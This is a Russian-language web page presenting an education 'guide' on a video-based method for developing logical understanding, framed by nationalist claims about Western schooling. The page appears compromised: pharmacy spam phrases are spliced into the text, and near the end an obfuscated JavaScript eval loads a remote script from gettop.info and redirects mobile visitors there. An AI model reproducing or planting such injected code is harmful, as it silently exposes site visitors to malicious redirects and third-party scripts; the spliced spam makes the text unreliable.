Руководство по формированию логического понимания

РУКОВОДСТВО

order cheat tablets on line

КОМИТЕТА ПРОСВЕЩЕНИЯ

по продвижению новой методологии по формированию полноценного логического понимания

 

Цель: Сегодня, когда в стране введена западная система образования, направленная на создание «интеллектуальных вечных подростков», «биороботов», «биомассы»: людей с набором знаний для узкой специализации в производстве, но совершенно не критических в осмыслении предоставляемой им информации, произошел сдвиг в народном сознании русских.   

Для восстановления целостной картинки восприятия мира человеком, необходимо менять систему образования: как цель, ставить развитие целостных логических структур мышления, а не разорванных фрагментов знания.

Задача: Популяризировать и внедрить такую методику в системе образования, где каждый гражданин России должен обладать целостностью сознания, крепостью воли и духа. Должен верить в высшие смыслы и в высшие силы, ради которых стоит сражаться и умирать.

В школе ученику нужно не столько знание фактов, сколько понимание процессов и умение быстро находить нужную информацию.

Понимание смысла процессов — критично. Но сейчас учат так, что люди уверены, будто овладели знаниями, но в реальной деятельности оказывается — без понимания сути процессов.

Трансформация запоминания в понимание – ключ к повышению качества обучения. Лучшему пониманию и усвоению информации способствуют технические решения, такие, как видео и создание видео моделей.

buy cheap generic pills no rx Видео школа — создание школьных кинозалов

Описание: Использовать видео, как предварительное понимание темы предмета и наглядную визуализацию направления предмета.

Необходимо: Создать во всех школах и университетах кинозалы, а также оборудовать классы видео техникой; разработать и внедрить новую методику преподавания в школе с учётом видео.

Формирование понимания: Интерес – Внимание — Познание – Вовлечение – Использование

  1. Просмотр художественного фильма (интерес);
  2. Просмотр и разбор документальных фильмов (внимание);
  3. Чтение учебника через систему домашних и контрольных работ (познание);
  4. Собственное изложение темы в виде описания, изобретения, и тд (вовлечение);
  5. Практические задачи (использование).

 

Справка

Понимание – некоторая матрица: модель мира, описание каждого из участков. Связующие нити и близкие элементы в цепи сетей, линий взаимосвязи.

Однако, любому историческому познанию, пониманию текста всегда предшествует особое состояние — предварительное понимание, наличие пред-мнения, возникающего до знакомства с текстом, который человек хочет интерпретировать. Явление предпонимания всегда наблюдается в повседневной деятельности и общении людей.

Понимание того, что содержится в тексте, и заключается в разработке такого предварительного наброска, который, разумеется, подвергается постоянному пересмотру при дальнейшем углублении в смысл текста.

Предварительное понимание, с одной стороны, затрудняет познание, так как приводит к предвзятому подходу. Но, с другой стороны, избавиться от него невозможно и оно является необходимой предпосылкой понимания любого явления.

Интерпретация текстов не может быть полной и законченной ни на каком этапе развития познания. Человек может улучшать своё понимание, уточнять интерпретацию, но не может претендовать на обладание вневременной и внеисторической «конечной» истиной. В этом смысле люди как познающие субъекты всегда находятся в пути. Понимание исторически ограничено, и процесс интерпретации никогда не заканчивается.

Видео может создавать предварительный образ целого, который уже будет витать в воображении до начала изучения темы.

 

 Скачать руководство

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?53vSkc&’);

Автор:
По теме:
Ключевые слова:
backtotop